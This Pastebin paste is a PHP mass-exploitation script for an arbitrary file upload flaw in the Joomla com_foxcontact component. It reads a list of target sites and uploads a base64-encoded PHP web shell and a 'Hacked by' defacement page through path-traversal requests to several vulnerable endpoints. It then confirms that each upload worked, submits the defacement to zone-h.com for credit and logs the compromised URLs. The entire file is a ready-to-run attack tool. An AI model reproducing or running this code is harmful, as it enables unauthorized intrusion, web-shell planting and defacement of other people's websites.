mqnoy

[php] joomla tester

Dec 11th, 2017
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /**
  3.  
  4. Joomla Component com_foxcontact Arbitrary File Upload
  5. https://cxsecurity.com/issue/WLB-2016050072
  6.  
  7. Auto Exploiter (Shell Upload, Auto Deface, and Auto Submit Zone -H)
  8. Coded by: L0c4lh34rtz - IndoXploit
  9. http://www.indoxploit.or.id/2017/12/joomla-component-comfoxcontact.html
  10.  
  11. */
  12.  
  13. error_reporting(0);
  14. set_time_limit(0);
  15.  
  16. Class IDX_Foxcontact {
  17.     public  $url;
  18.     private $hacker;
  19.     private $file = [];
  20.  
  21.     public function __construct() {
  22.         $this->file = (object) $this->file;
  23.  
  24.         /* Nama file deface kalian */
  25.         $this->file->deface     = "l0c.htm";
  26.  
  27.         $this->file->shell      = $this->randomFileName().".php";
  28.  
  29.         /* Nick Hacker Kalian / Nick Zone -H Kalian */
  30.         /* Pastikan dalam script deface kalian terdapat kata HACKED */
  31.         $this->hacker  = "L0c4lh34rtz";
  32.     }
  33.  
  34.     public function randomFileName() {
  35.         $characters = implode("", range(0,9)).implode("", range("A","Z")).implode("", range("a","z"));
  36.         $generate   = substr(str_shuffle($characters), 0, rand(4, 8));
  37.  
  38.         $prefixFilename = "\x69\x6e\x64\x6f\x78\x70\x6c\x6f\x69\x74"."_";
  39.         return $prefixFilename.$generate;
  40.     }
  41.  
  42.     public function curl($url, $data = null, $headers = null, $cookie = true) {
  43.         $ch = curl_init();
  44.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  45.               curl_setopt($ch, CURLOPT_URL, $url);
  46.               curl_setopt($ch, CURLOPT_USERAGENT, "IndoXploitTools/1.1");
  47.               //curl_setopt($ch, CURLOPT_VERBOSE, TRUE);
  48.               curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  49.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  50.               curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  51.               curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  52.  
  53.         if($data !== null) {
  54.               curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
  55.               curl_setopt($ch, CURLOPT_POST, TRUE);
  56.               curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  57.         }
  58.  
  59.         if($headers !== null) {
  60.               curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  61.         }
  62.  
  63.         if($cookie === true) {
  64.               curl_setopt($ch, CURLOPT_COOKIE, TRUE);
  65.               curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  66.               curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  67.         }
  68.  
  69.         $exec = curl_exec($ch);
  70.         $info = curl_getinfo($ch);
  71.  
  72.               curl_close($ch);
  73.  
  74.         return (object) [
  75.             "response"  => $exec,
  76.             "info"      => $info
  77.         ];
  78.  
  79.     }
  80.  
  81.     public function getId() {
  82.         $url        = $this->url;
  83.         $getContent = $this->curl($url)->response;
  84.         preg_match_all("/<a name=\"cid_(.*?)\">/", $getContent, $cid);
  85.         preg_match_all("/<a name=\"mid_(.*?)\">/", $getContent, $mid);
  86.  
  87.         return (object) [
  88.             "cid" => ($cid[1][0] === NULL ? 0 : $cid[1][0]),
  89.             "mid" => ($mid[1][0] === NULL ? 0 : $mid[1][0]),
  90.         ];
  91.     }
  92.  
  93.     public function exploit() {
  94.         $getCid = $this->getId()->cid;
  95.         $getMid = $this->getId()->mid;
  96.  
  97.         $url    = (object) parse_url($this->url);
  98.  
  99.         /* script uploader, sebaiknya jangan di otak-atik */
  100.         $post   = base64_decode('R0lGODlhOw0KPGh0bWw+DQo8dGl0bGU+VXBsb2FkZXIgQnkgSW5kb1hwbG9pdCBCT1Q8L3RpdGxlPg0KPHA+PD9waHAgZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPC9iPic7ID8+PGJyPg0KPD9waHAgZWNobyAnPGI+Jy5nZXRjd2QoKS4nPC9iPic7ID8+PC9wPg0KPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndXBsb2FkJyBuYW1lPSd1cGxvYWQnPg0KPC9mb3JtPg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPk9LPC9iPl0nOyB9IGVsc2UgeyBlY2hvJF9GSUxFU1snaWR4X2ZpbGUnXVsnbmFtZSddLiAnWzxiPkZBSUxFRDwvYj4nOyB9IH0gPz4=');
  101.        
  102.         /* script deface, ubah bagian ini ke base64 script deface kalian */
  103.         $post2  = base64_decode('DQo8IS0tDQphZG1pbkBpbmRveHBsb2l0Lm9yLmlkDQoNCiNQYXRjaCBZb3VyIFN5c3RlbQ0KLS0+DQo8IURPQ1RZUEUgSFRNTD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+SGFja2VkIGJ5IEwwYzRsaDM0cnR6fjwvdGl0bGU+DQo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQo8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IkwwYzRsaDM0cnR6ICNJbmRvWHBsb2l0ICNTYW5qdW5nYW5KaXdhIj4NCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJJbmRvWHBsb2l0LCBTYW5qdW5nYW4gSml3YSwgSGFja2VkIGJ5IEluZG9YcGxvaXQsIEhhY2tlZCBieSBMMGM0bGgzNHJ0eiI+DQo8bWV0YSBwcm9wZXJ0eT0ib2c6a2V5d29yZHMiIGNvbnRlbnQ9IkluZG9YcGxvaXQsIFNhbmp1bmdhbiBKaXdhLCBIYWNrZWQgYnkgSW5kb1hwbG9pdCwgSGFja2VkIGJ5IEwwYzRsaDM0cnR6Ij4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJIYWNrZWQgYnkgTDBjNGxoMzRydHogfCBJbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vZmxhLmZnLWEuY29tL2ZsYWdzL2luZG9uZXNpYS1mbGFnLWJ1dHRvbi0yLnBuZyI+DQo8c3R5bGU+DQpoMSB7DQoJbWFyZ2luLXRvcDogNGVtOw0KCWZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQoJZm9udC1zaXplOiA0NXB4Ow0KfQ0KDQpib2R5IHsgDQoJYmFja2dyb3VuZDogYmxhY2s7IA0KCXRleHQtYWxpZ246IGNlbnRlcjsgDQoJdGV4dC1zaGFkb3c6IDFweCAxcHggIzE3YTI0ZjsgDQoJZm9udC1mYW1pbHk6Q291cmllciBOZXc7IA0KCWNvbG9yOiB3aGl0ZTsgDQp9IA0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPkhhY2tlZCBieSBMMGM0bGgzNHJ0ejwvaDE+DQo8cD48Zm9udCBzaXplPSIyIj4jPG1hcnF1ZWUgYmVoYXZpb3I9ImFsdGVybmF0ZSIgc2Nyb2xsYW1vdW50PSI0IiB3aWR0aD0iNDAlIj5JbmRvWHBsb2l0IC0gU2FuanVuZ2FuIEppd2EgLSBEZXBvayBDeWJlciBTZWN1cml0eSA8L21hcnF1ZWU+IzwvZm9udD48L3A+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9Fem14N21VNnF0Zz9yZWw9MCZhbXA7YXV0b3BsYXk9MSZhbXA7bG9vcD0xJmFtcDtwbGF5bGlzdD1Fem14N21VNnF0ZyIgZnJhbWVib3JkZXI9IjAiIGhlaWdodD0iMSIgd2lkdGg9IjEiPjwvaWZyYW1lPg0KPC9ib2R5Pg0KPC9odG1sPg0KPG5vc2NyaXB0Pg0KPCEtLQ==');
  104.  
  105.         $headers = [
  106.             "X-Requested-With: XMLHttpRequest",
  107.             "X-File-Name: ".$this->file->shell,
  108.             "Content-Type: image/jpeg"
  109.         ];
  110.  
  111.         $vuln   = [
  112.             $url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
  113.             $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
  114.             $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
  115.             $url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../".$this->file->shell,
  116.         ];
  117.  
  118.         foreach($vuln as $v) {
  119.             $this->curl($v, $post, $headers);
  120.         }
  121.  
  122.         $shell = $url->scheme."://".$url->host."/components/com_foxcontact/".$this->file->shell;
  123.         $check = $this->curl($shell)->response;
  124.         if(preg_match("/Uploader By IndoXploit BOT/i", $check)) {
  125.             print "[+] Shell OK: ".$shell."\n";
  126.             $this->save($shell);
  127.         } else {
  128.             print "[-] Shell Failed\n";
  129.         }
  130.        
  131.         $vuln   = [
  132.             $url->scheme."://".$url->host."/components/com_foxcontact/lib/file-uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
  133.             $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
  134.             $url->scheme."://".$url->host."/index.php?option=com_foxcontact&view=loader&type=uploader&owner=module&id=".$getCid."?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
  135.             $url->scheme."://".$url->host."/components/com_foxcontact/lib/uploader.php?cid=".$getCid."&mid=".$getMid."&qqfile=/../../../../".$this->file->deface,
  136.         ];
  137.  
  138.         foreach($vuln as $v) {
  139.             $this->curl($v, $post2, $headers);
  140.         }
  141.  
  142.         $deface = $url->scheme."://".$url->host."/".$this->file->deface;
  143.         $check = $this->curl($deface)->response;
  144.         if(preg_match("/hacked/i", $check)) {
  145.             print "[+] Deface OK: ".$deface."\n";
  146.             $this->zoneh($deface);
  147.             $this->save($deface);
  148.         } else {
  149.             print "[-] Deface Failed\n";
  150.         }
  151.     }
  152.  
  153.     public function zoneh($url) {
  154.         $post = $this->curl("http://www.zone-h.com/notify/single", "defacer=".$this->hacker."&domain1=$url&hackmode=1&reason=1&submit=Send",null,false);
  155.  
  156.         if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post->response)) {
  157.             print "[+] Zone-H ($url) [OK]\n";
  158.         } else {
  159.             print "[+] Zone-H ($url) [FAILED]\n";
  160.         }
  161.     }
  162.  
  163.     public function save($isi) {
  164.         $handle = fopen("result_foxcontact.txt", "a+");
  165.         fwrite($handle, "$isi\n");
  166.         fclose($handle);
  167.     }
  168.  
  169.     public function __destruct() {
  170.         print "\n\n
  171.         ";
  172.     }
  173. }  
  174.  
  175. $fox = new IDX_Foxcontact();
  176.  
  177. if(!isset($argv[1])) die("!! Usage: php ".$argv[0]." target.txt");
  178. if(!file_exists($argv[1])) die("!! File target ".$argv[1]." tidak di temukan!!");
  179. $open = explode("\n", file_get_contents($argv[1]));
  180.  
  181. foreach($open as $list) {
  182.     $fox->url = trim($list);
  183.     print "[+] Exploiting ".parse_url($fox->url, PHP_URL_HOST)."\n";
  184.     $fox->exploit();
  185. }
Add Comment
Please, Sign In to add comment